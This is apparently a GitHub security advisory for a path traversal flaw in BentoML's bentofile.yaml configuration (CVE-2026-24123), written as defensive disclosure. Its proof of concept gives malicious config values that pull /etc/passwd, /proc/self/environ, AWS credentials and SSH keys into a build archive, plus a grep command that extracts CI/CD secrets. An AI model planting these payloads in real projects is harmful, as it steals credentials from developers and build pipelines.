Skip to content

Path Traversal via Bentofile Configuration Allows Arbitrary File Read

High
frostming published GHSA-6r62-w2q3-48hf Jan 26, 2026

Package

pip bentoml (pip)

Affected versions

<=1.4.33

Patched versions

1.4.34

Description

Summary

BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.

Details

The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.

Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:

def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
    _path = os.path.expanduser(os.path.expandvars(filepath))
    if not os.path.isabs(_path) and ctx:
        _path = os.path.expanduser(os.path.join(ctx, filepath))
    if os.path.exists(_path):
        return os.path.realpath(_path)  # No path containment check
    raise FileNotFoundError(f"file {filepath} not found")

Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:

if build_config.description.startswith("file:"):
    file_name = build_config.description[5:].strip()
    if not ctx_path.joinpath(file_name).exists():
        raise InvalidArgument(f"File {file_name} does not exist.")
    shutil.copy(ctx_path.joinpath(file_name), bento_readme)  # Path traversal

All four vulnerable fields:

  • description: "file:../../../etc/passwd" → copied to README.md
  • docker.setup_script: "../../../etc/passwd" → copied to env/docker/setup_script
  • docker.dockerfile_template: "../../../secret" → copied to env/docker/Dockerfile.template
  • conda.environment_yml: "../../../etc/hosts" → copied to env/conda/environment.yml

Multiple path formats are supported, making exploitation trivial:

Format description setup_script dockerfile_template environment_yml
Absolute paths (/etc/passwd) Yes Yes Yes Yes
Tilde expansion (~/.ssh/id_rsa) No Yes Yes Yes
Env vars ($HOME/.aws/credentials) No Yes Yes Yes
Relative traversal (../../../etc/passwd) Yes Yes Yes Yes
Proc filesystem (/proc/self/environ) Yes Yes Yes Yes

The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().

The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).

PoC

  1. Create a minimal service:
# service.py
import bentoml

@bentoml.service
class TestService:
    @bentoml.api
    def predict(self, text: str) -> str:
        return text
  1. Create malicious bentofile.yaml. Multiple attack vectors are available:

Vector 1: Exfiltrate /etc/passwd via description field

service: "service.py:TestService"
description: "file:/etc/passwd"

Vector 2: Exfiltrate all environment variables (CI/CD secrets)

service: "service.py:TestService"
description: "file:/proc/self/environ"

Vector 3: Exfiltrate files using environment variable expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "$HOME/.aws/credentials"

Vector 4: Exfiltrate files using tilde expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "~/.ssh/id_rsa"

Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields support all path formats.

  1. Run build:
$ bentoml build
Successfully built Bento(tag="test_service:abc123").
  1. Verify exfiltration:
# For description field - check README.md
$ cat ~/bentoml/bentos/test_service/abc123/README.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

# For /proc/self/environ - extract CI/CD secrets
$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET"
AWS_SECRET_ACCESS_KEY=AKIA...
GITHUB_TOKEN=ghp_...

# For dockerfile_template - check Dockerfile.template
$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...

The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.

Impact

Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).

Attack scenarios:

  • Supply chain attack: Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated
  • CI/CD environment variable theft: Using file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, etc.), making this a single-payload method to steal all pipeline secrets.
  • BentoCloud exfiltration: When victims push compromised bentos to BentoCloud (bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel.
  • Data theft: Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

CVE ID

CVE-2026-24123

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits